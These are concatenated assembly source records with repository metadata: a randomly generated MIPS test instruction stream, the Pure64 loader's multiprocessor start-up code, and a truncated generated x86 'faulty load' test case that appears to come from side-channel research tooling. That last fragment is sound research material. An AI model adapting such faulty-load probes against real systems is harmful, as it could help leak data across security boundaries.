xor $4, $3, $3
mthi $4
lui $1, 12
bne $4, $3, TAG502
TAG502:
mthi $1
mthi $1
andi $4, $1, 2
beq $4, $1, TAG503
TAG503:
sltu $2, $4, $4
mfhi $1
sb $2, 0($4)
sw $1, 0($2)
TAG504:
xori $2, $1, 5
lui $1, 3
bne $2, $2, TAG505
mtlo $1
TAG505:
mfhi $2
lui $2, 2
mflo $4
bne $1, $1, TAG506
TAG506:
slt $1, $4, $4
sll $0, $0, 0
mtlo $4
sll $0, $0, 0
TAG507:
lhu $1, 0($1)
sllv $4, $1, $1
mult $1, $4
mult $4, $1
TAG508:
beq $4, $4, TAG509
sltu $1, $4, $4
sll $3, $1, 7
bne $3, $4, TAG509
TAG509:
sw $3, 0($3)
mflo $4
lui $1, 2
sw $1, 0($3)
TAG510:
bltz $1, TAG511
mthi $1
srl $2, $1, 8
srl $3, $1, 0
TAG511:
div $3, $3
addu $1, $3, $3
bne $1, $3, TAG512
divu $1, $3
TAG512:
bne $1, $1, TAG513
lui $1, 11
srlv $1, $1, $1
xori $4, $1, 3
TAG513:
lui $4, 5
sll $0, $0, 0
bgtz $4, TAG514
sllv $1, $4, $2
TAG514:
sll $0, $0, 0
sra $3, $1, 7
nor $1, $1, $1
mflo $3
TAG515:
mthi $3
lui $3, 7
lui $2, 15
lui $3, 8
TAG516:
mtlo $3
bne $3, $3, TAG517
sltiu $4, $3, 15
mflo $2
TAG517:
bne $2, $2, TAG518
addiu $1, $2, 12
sll $0, $0, 0
and $1, $2, $2
TAG518:
multu $1, $1
mthi $1
sll $0, $0, 0
sll $0, $0, 0
TAG519:
sra $2, $1, 12
sh $2, 0($2)
srl $3, $1, 0
bgez $1, TAG520
TAG520:
slti $2, $3, 2
mfhi $1
slt $2, $1, $1
sltiu $3, $2, 14
TAG521:
blez $3, TAG522
or $4, $3, $3
div $4, $3
slti $4, $3, 15
TAG522:
lui $2, 3
addiu $4, $4, 10
sra $2, $4, 6
ori $2, $4, 4
TAG523:
mflo $1
bgtz $1, TAG524
mfhi $4
mflo $4
TAG524:
mfhi $2
xori $2, $4, 8
add $2, $4, $2
lui $1, 11
TAG525:
mfhi $2
sll $2, $2, 9
beq $2, $2, TAG526
mtlo $2
TAG526:
sra $2, $2, 7
lbu $1, 0($2)
multu $1, $1
addu $1, $1, $1
TAG527:
sb $1, 0($1)
bltz $1, TAG528
lbu $2, 0($1)
add $4, $1, $1
TAG528:
xori $2, $4, 14
mtlo $2
mflo $3
mtlo $3
TAG529:
divu $3, $3
sh $3, 0($3)
mflo $4
xori $1, $3, 11
TAG530:
subu $4, $1, $1
sh $4, 0($4)
sb $1, 0($1)
blez $4, TAG531
TAG531:
mult $4, $4
lui $4, 7
lui $2, 5
mthi $4
TAG532:
srav $1, $2, $2
bne $2, $1, TAG533
sll $0, $0, 0
sra $4, $1, 9
TAG533:
lui $2, 0
sh $4, 0($2)
sra $4, $2, 7
lui $1, 8
TAG534:
mtlo $1
mfhi $3
mthi $3
multu $1, $1
TAG535:
sll $0, $0, 0
blez $4, TAG536
mfhi $4
divu $4, $3
TAG536:
lhu $1, 0($4)
sb $4, 0($1)
div $4, $1
or $4, $1, $1
TAG537:
blez $4, TAG538
sb $4, 0($4)
lb $3, 0($4)
sb $4, 0($3)
TAG538:
mflo $3
mflo $4
sltiu $1, $3, 4
lui $3, 7
TAG539:
mtlo $3
sll $0, $0, 0
lui $1, 6
bgtz $3, TAG540
TAG540:
mthi $1
sltu $1, $1, $1
bgez $1, TAG541
multu $1, $1
TAG541:
mthi $1
mflo $2
mult $2, $1
lh $1, 0($2)
TAG542:
bgtz $1, TAG543
divu $1, $1
lbu $1, 0($1)
bgtz $1, TAG543
TAG543:
sh $1, -640($1)
sllv $3, $1, $1
lui $1, 6
divu $3, $3
TAG544:
bne $1, $1, TAG545
lui $2, 6
sll $0, $0, 0
mtlo $2
TAG545:
sltiu $3, $2, 9
beq $3, $2, TAG546
lb $4, 0($3)
subu $2, $3, $2
TAG546:
mtlo $2
sra $3, $2, 13
lw $2, 48($3)
slt $2, $2, $3
TAG547:
srlv $1, $2, $2
add $3, $1, $1
bgtz $1, TAG548
lhu $1, 0($1)
TAG548:
sll $0, $0, 0
sub $3, $1, $3
slti $4, $3, 10
addiu $1, $3, 12
TAG549:
or $4, $1, $1
mult $1, $1
or $3, $4, $1
mtlo $1
TAG550:
addiu $4, $3, 7
lh $1, -659($4)
mult $1, $1
beq $3, $1, TAG551
TAG551:
mthi $1
lw $4, -640($1)
bgtz $1, TAG552
mult $1, $4
TAG552:
lui $4, 1
lui $1, 14
xor $3, $4, $4
mult $4, $3
TAG553:
multu $3, $3
lui $2, 8
sll $3, $2, 14
sra $1, $3, 10
TAG554:
multu $1, $1
lui $1, 0
beq $1, $1, TAG555
lh $1, 0($1)
TAG555:
sll $0, $0, 0
lui $3, 6
mtlo $3
addiu $2, $3, 10
TAG556:
lui $2, 8
beq $2, $2, TAG557
mthi $2
sw $2, 0($2)
TAG557:
mfhi $1
mfhi $3
mtlo $2
nor $4, $3, $1
TAG558:
mthi $4
mthi $4
sltu $3, $4, $4
beq $4, $3, TAG559
TAG559:
lh $4, 0($3)
mtlo $4
nor $1, $4, $4
lw $1, -640($4)
TAG560:
bgtz $1, TAG561
mthi $1
mfhi $4
xor $4, $4, $4
TAG561:
slti $1, $4, 2
blez $1, TAG562
lw $2, -640($4)
divu $2, $1
TAG562:
div $2, $2
sll $0, $0, 0
beq $2, $2, TAG563
mtlo $2
TAG563:
mtlo $2
or $2, $2, $2
mflo $3
mfhi $4
TAG564:
sh $4, 0($4)
mult $4, $4
lhu $2, 0($4)
multu $2, $2
TAG565:
bltz $2, TAG566
lui $4, 1
lui $3, 4
bgez $4, TAG566
TAG566:
mfhi $4
lui $3, 4
mtlo $3
slt $2, $3, $3
TAG567:
lbu $1, 0($2)
sb $2, 0($2)
multu $2, $1
sll $2, $1, 10
TAG568:
mult $2, $2
multu $2, $2
mult $2, $2
multu $2, $2
TAG569:
lh $3, 0($2)
bltz $3, TAG570
mflo $1
mflo $3
TAG570:
addu $2, $3, $3
lb $4, 0($3)
lui $1, 9
xor $2, $2, $1
TAG571:
sll $0, $0, 0
sll $0, $0, 0
mfhi $1
andi $1, $1, 10
TAG572:
sw $1, 0($1)
mfhi $2
mtlo $1
bne $1, $1, TAG573
TAG573:
sb $2, 0($2)
mthi $2
bne $2, $2, TAG574
lh $2, 0($2)
TAG574:
lui $4, 10
beq $4, $4, TAG575
mult $4, $2
lw $4, 0($2)
TAG575:
addu $2, $4, $4
sll $0, $0, 0
nor $3, $2, $2
mtlo $3
TAG576:
mult $3, $3
sll $0, $0, 0
beq $3, $4, TAG577
mfhi $1
TAG577:
divu $1, $1
sltiu $4, $1, 11
multu $4, $4
mflo $2
TAG578:
blez $2, TAG579
mthi $2
sh $2, 0($2)
beq $2, $2, TAG579
TAG579:
sw $2, 0($2)
lui $1, 7
mtlo $2
divu $2, $1
TAG580:
xor $4, $1, $1
sll $0, $0, 0
lb $1, 0($4)
nor $2, $1, $1
TAG581:
mfhi $1
sllv $3, $2, $1
lui $1, 8
ori $3, $1, 11
TAG582:
multu $3, $3
srl $2, $3, 3
lui $3, 0
lui $1, 13
TAG583:
lui $3, 11
mthi $3
sll $0, $0, 0
and $3, $1, $2
TAG584:
slti $3, $3, 6
mtlo $3
addiu $3, $3, 4
sw $3, 0($3)
TAG585:
divu $3, $3
bgtz $3, TAG586
mult $3, $3
blez $3, TAG586
TAG586:
sllv $4, $3, $3
mthi $4
sb $3, 0($3)
lui $2, 9
TAG587:
bne $2, $2, TAG588
srl $3, $2, 10
sh $2, -576($3)
srl $4, $2, 10
TAG588:
lui $3, 13
lw $4, -576($4)
mflo $1
lw $4, 0($1)
TAG589:
lui $2, 4
sll $0, $0, 0
beq $3, $3, TAG590
srav $1, $4, $4
TAG590:
multu $1, $1
sra $1, $1, 1
mult $1, $1
bgtz $1, TAG591
TAG591:
multu $1, $1
slti $3, $1, 9
mfhi $3
lb $4, 0($3)
TAG592:
blez $4, TAG593
mthi $4
mthi $4
sllv $4, $4, $4
TAG593:
lui $3, 4
mflo $2
lb $4, 0($2)
bgtz $4, TAG594
TAG594:
nor $4, $4, $4
multu $4, $4
sw $4, 1($4)
bgtz $4, TAG595
TAG595:
sll $0, $0, 0
srl $3, $3, 13
lb $3, 0($3)
addu $4, $4, $3
TAG596:
sh $4, 0($4)
mflo $4
lbu $4, 0($4)
sltiu $3, $4, 6
TAG597:
and $4, $3, $3
sb $3, 0($4)
mtlo $3
multu $4, $4
TAG598:
srlv $3, $4, $4
mult $4, $3
sllv $1, $4, $3
mflo $1
TAG599:
bgez $1, TAG600
multu $1, $1
mtlo $1
lui $1, 1
TAG600:
bgtz $1, TAG601
lhu $3, 0($1)
beq $3, $3, TAG601
sh $3, 0($1)
TAG601:
beq $3, $3, TAG602
mfhi $2
sh $3, 0($3)
mflo $3
TAG602:
sll $3, $3, 1
mflo $4
sll $0, $0, 0
sll $0, $0, 0
TAG603:
subu $2, $4, $4
bgez $2, TAG604
sb $2, 0($2)
sh $2, 0($4)
TAG604:
mult $2, $2
bne $2, $2, TAG605
lui $1, 4
bne $2, $2, TAG605
TAG605:
sll $0, $0, 0
sll $0, $0, 0
mflo $1
srlv $3, $1, $1
TAG606:
mult $3, $3
beq $3, $3, TAG607
srlv $1, $3, $3
lui $2, 15
TAG607:
blez $2, TAG608
nor $4, $2, $2
lh $1, 0($4)
subu $2, $4, $1
TAG608:
srav $2, $2, $2
bne $2, $2, TAG609
lw $3, 0($2)
beq $2, $2, TAG609
TAG609:
sh $3, 256($3)
mflo $1
mtlo $1
lui $2, 2
TAG610:
or $2, $2, $2
and $1, $2, $2
sll $0, $0, 0
lui $3, 5
TAG611:
mflo $1
div $3, $3
mult $1, $3
sll $0, $0, 0
TAG612:
mflo $2
lui $1, 1
nor $1, $2, $1
sll $0, $0, 0
TAG613:
mthi $1
and $1, $1, $1
sll $0, $0, 0
sltiu $3, $1, 7
TAG614:
mthi $3
mult $3, $3
lb $3, 0($3)
sw $3, 0($3)
TAG615:
lui $2, 12
lui $3, 6
mflo $2
mflo $4
TAG616:
multu $4, $4
lui $2, 2
multu $2, $2
or $3, $2, $4
TAG617:
mfhi $4
mfhi $4
mflo $4
mthi $4
TAG618:
multu $4, $4
bne $4, $4, TAG619
xori $3, $4, 7
sb $4, 0($3)
TAG619:
div $3, $3
lbu $4, 0($3)
sltiu $2, $3, 13
addi $4, $4, 1
TAG620:
mthi $4
blez $4, TAG621
sb $4, 0($4)
divu $4, $4
TAG621:
beq $4, $4, TAG622
mfhi $3
divu $3, $3
mfhi $3
TAG622:
mult $3, $3
mthi $3
add $2, $3, $3
lhu $1, 0($3)
TAG623:
or $2, $1, $1
lbu $4, -256($2)
blez $2, TAG624
mflo $4
TAG624:
beq $4, $4, TAG625
add $4, $4, $4
lui $2, 1
divu $4, $4
TAG625:
sb $2, -256($2)
mflo $3
lui $2, 6
beq $2, $2, TAG626
TAG626:
mult $2, $2
sll $0, $0, 0
mfhi $3
addu $3, $2, $3
TAG627:
xori $1, $3, 15
bne $3, $1, TAG628
sll $0, $0, 0
divu $1, $1
TAG628:
sll $2, $1, 12
mult $1, $2
mfhi $2
mult $2, $2
TAG629:
div $2, $2
sll $0, $0, 0
mult $2, $3
bgez $3, TAG630
TAG630:
mflo $1
bgtz $3, TAG631
mflo $4
sb $3, 0($1)
TAG631:
lui $1, 8
srl $1, $4, 13
sltu $2, $1, $1
mtlo $4
TAG632:
mflo $1
mtlo $1
sll $0, $0, 0
bne $1, $2, TAG633
TAG633:
mult $1, $1
div $1, $1
subu $2, $1, $1
andi $2, $2, 3
TAG634:
ori $4, $2, 5
lb $3, 0($4)
bne $3, $2, TAG635
andi $3, $3, 0
TAG635:
lui $3, 2
div $3, $3
slt $1, $3, $3
srl $3, $3, 10
TAG636:
bne $3, $3, TAG637
mflo $1
divu $1, $1
multu $3, $3
TAG637:
sb $1, 0($1)
beq $1, $1, TAG638
lbu $2, 0($1)
ori $1, $2, 9
TAG638:
beq $1, $1, TAG639
mtlo $1
mtlo $1
mfhi $3
TAG639:
mfhi $1
lh $2, 0($3)
sw $2, 0($1)
bgez $3, TAG640
TAG640:
lw $3, 0($2)
mfhi $4
slti $2, $2, 13
lui $4, 11
TAG641:
sll $0, $0, 0
multu $4, $4
mtlo $4
bltz $4, TAG642
TAG642:
lui $1, 13
mfhi $1
beq $1, $1, TAG643
sll $0, $0, 0
TAG643:
beq $2, $2, TAG644
mfhi $1
lb $3, 0($1)
and $1, $3, $3
TAG644:
sra $4, $1, 15
sb $1, 0($1)
lui $4, 12
bgez $4, TAG645
TAG645:
mthi $4
mthi $4
sll $0, $0, 0
mtlo $4
TAG646:
bgez $4, TAG647
mthi $4
lhu $3, 0($4)
sw $4, 0($3)
TAG647:
mfhi $4
sll $0, $0, 0
mflo $1
sw $4, 0($3)
TAG648:
xor $1, $1, $1
sllv $1, $1, $1
bgtz $1, TAG649
sra $3, $1, 4
TAG649:
lw $2, 0($3)
srlv $3, $2, $2
bltz $3, TAG650
nor $1, $3, $3
TAG650:
sb $1, 129($1)
sltiu $4, $1, 11
addu $2, $1, $4
mtlo $2
TAG651:
srav $3, $2, $2
mtlo $2
sra $4, $3, 6
sw $3, 129($2)
TAG652:
sh $4, 1($4)
bne $4, $4, TAG653
mflo $2
sltu $2, $4, $4
TAG653:
beq $2, $2, TAG654
mflo $4
sb $4, 0($4)
lb $1, 0($4)
TAG654:
sb $1, 129($1)
mult $1, $1
lui $2, 7
lui $4, 6
TAG655:
mult $4, $4
bltz $4, TAG656
or $2, $4, $4
mult $2, $2
TAG656:
bne $2, $2, TAG657
mthi $2
mtlo $2
mthi $2
TAG657:
mtlo $2
sll $0, $0, 0
sll $0, $0, 0
mfhi $1
TAG658:
mfhi $3
bltz $1, TAG659
sll $0, $0, 0
bgez $3, TAG659
TAG659:
mfhi $4
andi $3, $3, 15
lb $4, 0($3)
sw $3, 0($3)
TAG660:
lbu $4, 0($4)
sltiu $2, $4, 1
bgtz $4, TAG661
sb $2, 0($2)
TAG661:
lb $1, 0($2)
sltiu $1, $1, 0
addu $3, $1, $1
lui $2, 4
TAG662:
lui $1, 13
sltiu $1, $1, 10
add $2, $1, $1
sub $3, $1, $1
TAG663:
mthi $3
mflo $3
bne $3, $3, TAG664
subu $1, $3, $3
TAG664:
sb $1, 0($1)
lbu $4, 0($1)
sb $4, 0($4)
lw $3, 0($1)
TAG665:
addu $1, $3, $3
div $1, $3
bne $1, $3, TAG666
div $1, $3
TAG666:
sll $0, $0, 0
lhu $1, -512($1)
divu $1, $1
beq $1, $2, TAG667
TAG667:
subu $2, $1, $1
mthi $2
lbu $3, 0($2)
bne $3, $2, TAG668
TAG668:
multu $3, $3
sw $3, 0($3)
slti $2, $3, 9
beq $2, $3, TAG669
TAG669:
sb $2, 0($2)
bltz $2, TAG670
mflo $2
lb $2, 0($2)
TAG670:
mthi $2
mthi $2
srlv $1, $2, $2
srlv $2, $1, $1
TAG671:
beq $2, $2, TAG672
multu $2, $2
sb $2, 0($2)
beq $2, $2, TAG672
TAG672:
sub $1, $2, $2
sb $2, 0($1)
addi $4, $1, 15
bne $1, $4, TAG673
TAG673:
addu $1, $4, $4
beq $1, $4, TAG674
addiu $3, $1, 5
mflo $4
TAG674:
addi $2, $4, 5
blez $2, TAG675
mflo $3
sll $4, $3, 11
TAG675:
sub $2, $4, $4
sh $4, 0($4)
slti $2, $4, 10
addiu $1, $2, 7
TAG676:
bltz $1, TAG677
addu $1, $1, $1
mtlo $1
lui $3, 10
TAG677:
divu $3, $3
sll $0, $0, 0
subu $3, $3, $3
srlv $1, $3, $3
TAG678:
lui $1, 3
subu $1, $1, $1
lui $2, 1
beq $2, $1, TAG679
TAG679:
addu $3, $2, $2
andi $2, $2, 4
beq $2, $2, TAG680
mthi $3
TAG680:
lb $1, 0($2)
mtlo $1
lui $2, 3
lh $2, 0($1)
TAG681:
bgtz $2, TAG682
mflo $2
beq $2, $2, TAG682
lw $1, 0($2)
TAG682:
multu $1, $1
addi $1, $1, 10
mthi $1
mflo $2
TAG683:
mflo $2
bltz $2, TAG684
mthi $2
sll $4, $2, 1
TAG684:
mult $4, $4
mfhi $2
sh $4, 0($4)
lb $2, 0($4)
TAG685:
mthi $2
addiu $3, $2, 13
addiu $4, $3, 1
lui $4, 2
TAG686:
xori $2, $4, 8
mfhi $3
sb $3, 0($3)
mthi $3
TAG687:
or $1, $3, $3
bltz $1, TAG688
add $1, $1, $1
bgez $1, TAG688
TAG688:
multu $1, $1
lui $4, 13
lb $2, 0($1)
mthi $2
TAG689:
mult $2, $2
mthi $2
beq $2, $2, TAG690
lui $2, 5
TAG690:
lui $2, 3
mtlo $2
xori $2, $2, 12
sll $0, $0, 0
TAG691:
sll $0, $0, 0
sll $0, $0, 0
mfhi $2
mtlo $2
TAG692:
sb $2, 0($2)
mthi $2
mult $2, $2
lui $2, 9
TAG693:
mflo $3
bgez $3, TAG694
xor $1, $2, $3
sw $1, 0($1)
TAG694:
mtlo $1
mtlo $1
divu $1, $1
lui $1, 12
TAG695:
sll $2, $1, 13
mfhi $4
lui $3, 8
mflo $2
TAG696:
lbu $2, 0($2)
lh $3, 0($2)
mult $2, $3
sllv $2, $2, $3
TAG697:
bgtz $2, TAG698
add $2, $2, $2
mflo $4
bne $2, $2, TAG698
TAG698:
lh $1, 0($4)
blez $4, TAG699
addiu $4, $1, 2
sltu $3, $4, $1
TAG699:
bne $3, $3, TAG700
lhu $4, 0($3)
mthi $3
mult $4, $3
TAG700:
bne $4, $4, TAG701
mthi $4
srav $2, $4, $4
mthi $4
TAG701:
mthi $2
lbu $3, 0($2)
addu $1, $2, $2
mtlo $2
TAG702:
bgtz $1, TAG703
sb $1, 0($1)
nor $4, $1, $1
lb $3, 1($4)
TAG703:
sw $3, 0($3)
lui $2, 9
sll $0, $0, 0
nor $4, $2, $2
TAG704:
sll $0, $0, 0
or $1, $4, $4
mflo $2
mfhi $2
TAG705:
multu $2, $2
mthi $2
mtlo $2
mtlo $2
TAG706:
sltiu $4, $2, 7
mthi $4
andi $1, $2, 15
lb $3, 0($4)
TAG707:
sw $3, 0($3)
mflo $4
mflo $2
mult $2, $4
TAG708:
slti $4, $2, 4
sb $2, 0($4)
bgtz $4, TAG709
sh $2, 0($2)
TAG709:
bne $4, $4, TAG710
div $4, $4
blez $4, TAG710
divu $4, $4
TAG710:
lui $1, 7
mtlo $1
lui $4, 8
mflo $2
TAG711:
beq $2, $2, TAG712
ori $3, $2, 12
xori $1, $3, 2
multu $2, $2
TAG712:
bne $1, $1, TAG713
lui $2, 4
beq $2, $2, TAG713
srav $4, $1, $2
TAG713:
bne $4, $4, TAG714
sll $0, $0, 0
lui $2, 3
subu $1, $4, $4
TAG714:
mthi $1
lw $4, 0($1)
nor $3, $1, $1
bne $3, $1, TAG715
TAG715:
sll $0, $0, 0
multu $3, $2
mtlo $2
blez $3, TAG716
TAG716:
sll $0, $0, 0
bne $4, $2, TAG717
mult $4, $2
mtlo $2
TAG717:
bne $4, $4, TAG718
sw $4, 0($4)
mult $4, $4
lui $4, 12
TAG718:
divu $4, $4
divu $4, $4
sra $2, $4, 2
addiu $3, $4, 1
TAG719:
bgez $3, TAG720
sll $0, $0, 0
bgez $3, TAG720
nor $2, $3, $3
TAG720:
subu $4, $2, $2
bne $2, $4, TAG721
mflo $4
and $2, $4, $2
TAG721:
beq $2, $2, TAG722
mtlo $2
beq $2, $2, TAG722
mflo $3
TAG722:
multu $3, $3
mtlo $3
addu $3, $3, $3
lui $2, 13
TAG723:
mtlo $2
mflo $2
lui $1, 5
sll $1, $1, 3
TAG724:
addiu $3, $1, 9
sll $2, $1, 10
lui $4, 11
sll $1, $3, 3
TAG725:
bgez $1, TAG726
lui $2, 12
sw $1, 0($1)
bgtz $2, TAG726
TAG726:
mflo $3
addiu $3, $2, 0
sll $0, $0, 0
div $3, $3
TAG727:
bltz $3, TAG728
mflo $4
mtlo $4
beq $3, $3, TAG728
TAG728:
lui $3, 3
multu $4, $3
mtlo $4
sll $0, $0, 0
TAG729:
subu $3, $3, $3
lui $3, 12
bne $3, $3, TAG730
divu $3, $3
TAG730:
sltiu $1, $3, 14
sll $0, $0, 0
xor $1, $1, $1
mtlo $1
TAG731:
mfhi $3
mflo $2
beq $3, $1, TAG732
srl $1, $1, 12
TAG732:
lui $1, 12
slt $1, $1, $1
xori $1, $1, 0
slti $3, $1, 3
TAG733:
bgtz $3, TAG734
mtlo $3
blez $3, TAG734
lui $1, 9
TAG734:
lui $2, 11
sb $2, 0($1)
mthi $1
addu $4, $2, $1
TAG735:
bne $4, $4, TAG736
mfhi $1
sll $0, $0, 0
bgez $4, TAG736
TAG736:
sw $1, 0($1)
multu $1, $1
lui $4, 8
mflo $4
TAG737:
mult $4, $4
lui $1, 1
beq $1, $1, TAG738
mflo $4
TAG738:
bne $4, $4, TAG739
slti $3, $4, 9
mtlo $3
mult $3, $4
TAG739:
lbu $3, 0($3)
sh $3, 0($3)
addiu $1, $3, 2
srav $3, $3, $3
TAG740:
srl $1, $3, 4
sltu $3, $3, $1
bgez $3, TAG741
mthi $3
TAG741:
sh $3, 0($3)
multu $3, $3
sh $3, 0($3)
lhu $3, 0($3)
TAG742:
and $3, $3, $3
mfhi $1
mult $1, $3
sllv $4, $3, $1
TAG743:
lui $4, 1
sll $0, $0, 0
srav $3, $4, $4
sll $0, $0, 0
TAG744:
multu $2, $2
lui $1, 11
sll $0, $0, 0
beq $1, $1, TAG745
TAG745:
addu $2, $1, $1
mtlo $1
sltu $4, $1, $1
mthi $2
TAG746:
sub $4, $4, $4
or $4, $4, $4
lui $4, 5
divu $4, $4
TAG747:
subu $2, $4, $4
mult $4, $4
bne $2, $2, TAG748
slt $4, $4, $2
TAG748:
mthi $4
multu $4, $4
multu $4, $4
beq $4, $4, TAG749
TAG749:
lui $4, 11
mtlo $4
lui $4, 15
sll $0, $0, 0
TAG750:
nop
nop
test_end:
beq $0, $0, test_end
nop | 12.005276 | 21 | 0.540077 |
f8aa3199bcfec0a21879c710dc4b49bbb1aa02a7 | 4,268 | asm | Assembly | Pure64 v0.5.0 Distribution/src/init_smp_ap.asm | svilerino/intel_multicore | 346d8946168a71e298dbfefa0f0923419dc80daf | [
"MIT"
] | 1 | 2015-12-15T20:41:01.000Z | 2015-12-15T20:41:01.000Z | Pure64 v0.5.0 Distribution/src/init_smp_ap.asm | svilerino/intel_multicore | 346d8946168a71e298dbfefa0f0923419dc80daf | [
"MIT"
] | null | null | null | Pure64 v0.5.0 Distribution/src/init_smp_ap.asm | svilerino/intel_multicore | 346d8946168a71e298dbfefa0f0923419dc80daf | [
"MIT"
] | null | null | null | ; =============================================================================
; Pure64 -- a 64-bit OS loader written in Assembly for x86-64 systems
; Copyright (C) 2008-2012 Return Infinity -- see LICENSE.TXT
;
; INIT SMP AP
; =============================================================================
USE16
mp_ap_setup:
nop
jmp 0x0000:clearcs_ap
clearcs_ap:
; Enable the A20 gate
set_A20_ap:
in al, 0x64
test al, 0x02
jnz set_A20_ap
mov al, 0xD1
out 0x64, al
check_A20_ap:
in al, 0x64
test al, 0x02
jnz check_A20_ap
mov al, 0xDF
out 0x60, al
; At this point we are done with real mode and BIOS interrupts. Jump to 32-bit mode.
lgdt [cs:GDTR32] ; load GDT register
mov eax, cr0 ; switch to 32-bit protected mode
or al, 1
mov cr0, eax
jmp 8:startap32
align 16
; =============================================================================
; 32-bit mode
USE32
startap32:
mov eax, 16 ; load 4 GB data descriptor
mov ds, ax ; to all data segment registers
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
xor ebp, ebp
mov esp, 0x8000 ; Set a known free location for the stack
; Load the GDT
lgdt [GDTR64]
; Enable extended properties
mov eax, cr4
or eax, 0x0000000B0 ; PGE (Bit 7), PAE (Bit 5), and PSE (Bit 4)
mov cr4, eax
; Point cr3 at PML4
mov eax, 0x00002008 ; Write-thru (Bit 3)
mov cr3, eax
; Enable long mode and SYSCALL/SYSRET
mov ecx, 0xC0000080 ; EFER MSR number
rdmsr ; Read EFER
or eax, 0x00000101 ; LME (Bit 8)
wrmsr ; Write EFER
; Enable paging to activate long mode
mov eax, cr0
or eax, 0x80000000 ; PG (Bit 31)
mov cr0, eax
; Make the jump directly from 16-bit real mode to 64-bit long mode
jmp SYS64_CODE_SEL:startap64
align 16
; =============================================================================
; 64-bit mode
USE64
startap64:
xor rax, rax ; aka r0
xor rbx, rbx ; aka r3
xor rcx, rcx ; aka r1
xor rdx, rdx ; aka r2
xor rsi, rsi ; aka r6
xor rdi, rdi ; aka r7
xor rbp, rbp ; aka r5
xor rsp, rsp ; aka r4
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
mov ds, ax ; Clear the legacy segment registers
mov es, ax
mov ss, ax
mov fs, ax
mov gs, ax
mov rax, clearcs64_ap
jmp rax
nop
clearcs64_ap:
xor rax, rax
; Reset the stack. Each CPU gets a 1024-byte unique stack location
mov rsi, [os_LocalAPICAddress] ; We would call os_smp_get_id here but the stack is not ...
add rsi, 0x20 ; ... yet defined. It is safer to find the value directly.
lodsd ; Load a 32-bit value. We only want the high 8 bits
shr rax, 24 ; Shift to the right and AL now holds the CPU's APIC ID
shl rax, 10 ; shift left 10 bits for a 1024byte stack
add rax, 0x0000000000050400 ; stacks decrement when you "push", start at 1024 bytes in
mov rsp, rax ; Pure64 leaves 0x50000-0x9FFFF free so we use that
lgdt [GDTR64] ; Load the GDT
lidt [IDTR64] ; load IDT register
; Enable Local APIC on AP
mov rsi, [os_LocalAPICAddress]
add rsi, 0x00f0 ; Offset to Spurious Interrupt Register
mov rdi, rsi
lodsd
or eax, 0000000100000000b
stosd
call init_cpu ; Setup CPU
; Make sure exceptions are working.
; xor rax, rax
; xor rbx, rbx
; xor rcx, rcx
; xor rdx, rdx
; div rax
lock
inc word [cpu_activated]
xor eax, eax
mov rsi, [os_LocalAPICAddress]
add rsi, 0x20 ; Add the offset for the APIC ID location
lodsd ; APIC ID is stored in bits 31:24
shr rax, 24 ; AL now holds the CPU's APIC ID (0 - 255)
mov rdi, 0x00005700 ; The location where the cpu values are stored
add rdi, rax ; RDI points to infomap CPU area + APIC ID. ex F701 would be APIC ID 1
mov al, 1
stosb
sti ; Activate interrupts for SMP
jmp ap_sleep
align 16
.apmsg db 'THE_AP_SPIN_ZONE'
align 16
ap_sleep:
hlt ; Suspend CPU until an interrupt is received. opcode for hlt is 0xF4
jmp ap_sleep ; just-in-case of an NMI
; =============================================================================
; EOF
| 23.843575 | 92 | 0.597001 |
4de004e3c848e46d9f2db6960f3972d13bfa5d6d | 6,194 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_301.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_301.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_301.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xb07f, %rsi
lea addresses_UC_ht+0x8cbf, %rdi
nop
dec %r8
mov $35, %rcx
rep movsb
inc %rbx
lea addresses_WT_ht+0x7d4b, %r14
nop
nop
nop
nop
nop
and %rbx, %rbx
movl $0x61626364, (%r14)
nop
nop
nop
nop
nop
cmp $44830, %r8
lea addresses_D_ht+0x1c427, %rbx
add %r8, %r8
movb $0x61, (%rbx)
nop
nop
and %r8, %r8
lea addresses_A_ht+0x907f, %rsi
lea addresses_WC_ht+0x893f, %rdi
nop
add $53211, %r8
mov $68, %rcx
rep movsb
nop
nop
nop
nop
cmp $52575, %r8
lea addresses_WC_ht+0x18cff, %rcx
nop
nop
nop
xor %r9, %r9
and $0xffffffffffffffc0, %rcx
vmovaps (%rcx), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r8
add $16698, %rbx
lea addresses_D_ht+0x1a93f, %rcx
nop
nop
nop
nop
sub %r14, %r14
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
movups %xmm4, (%rcx)
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0x123bf, %r8
nop
nop
nop
nop
and %rcx, %rcx
movb $0x61, (%r8)
nop
nop
nop
sub %r9, %r9
lea addresses_WC_ht+0x126df, %rcx
and %rdi, %rdi
movb (%rcx), %r9b
and $29470, %rsi
lea addresses_normal_ht+0x1677f, %rsi
lea addresses_WT_ht+0x142ff, %rdi
clflush (%rsi)
nop
nop
nop
nop
dec %r10
mov $61, %rcx
rep movsl
nop
nop
nop
nop
xor %r9, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %rbp
push %rbx
// Faulty Load
mov $0x1bc80e000000087f, %rbp
nop
dec %rbx
mov (%rbp), %r12
